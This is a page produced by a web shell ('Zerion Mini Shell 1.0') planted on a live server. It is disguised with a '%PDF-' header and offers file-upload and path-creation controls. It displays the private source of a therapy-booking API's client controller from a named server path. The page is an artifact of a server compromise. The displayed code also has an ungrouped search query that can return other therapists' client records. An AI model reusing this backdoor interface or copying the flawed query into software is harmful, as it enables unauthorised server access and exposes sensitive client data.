%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/forge/api-takeaseat.eco-n-tech.co.uk/app/Http/Controllers/Therapist/
Upload File :
Create Path :
Current File : //home/forge/api-takeaseat.eco-n-tech.co.uk/app/Http/Controllers/Therapist/ClientController.php

<?php

namespace App\Http\Controllers\Therapist;

use App\Models\Client;
use App\Http\Controllers\Controller;
use App\Http\Resources\ClientResource;
use Illuminate\Http\Request;

class ClientController extends Controller
{
    /**
     * Show all the therapists clients
     * 
     * @param Request $request
     * @return ClientResource $clients
     */
    public function index(Request $request)
    {
        $search = $request->get('search_query');

        $clients = auth()->user()->therapist->clients()
            ->when($search, function ($query, $search) {
                return $query->where('first_name', 'like' ,'%'.$search.'%')
                    ->orWhere('last_name', 'like' ,'%'.$search.'%')
                    ->orWhere('email', 'like' ,'%'.$search.'%');
            })
            ->orderBy('created_at', 'desc')
            ->paginate(12);

        return ClientResource::collection($clients);
    }

    /**
     * Show a single client
     * 
     * @param int $id
     * @param Request $request
     * @return ClientResource $client
     */
    public function show($id, Request $request)
    {
        $client = auth()->user()->therapist->clients()
            ->where('user_id', $id)
            ->firstOrFail();

        return new ClientResource($client);
    }
}

Zerion Mini Shell 1.0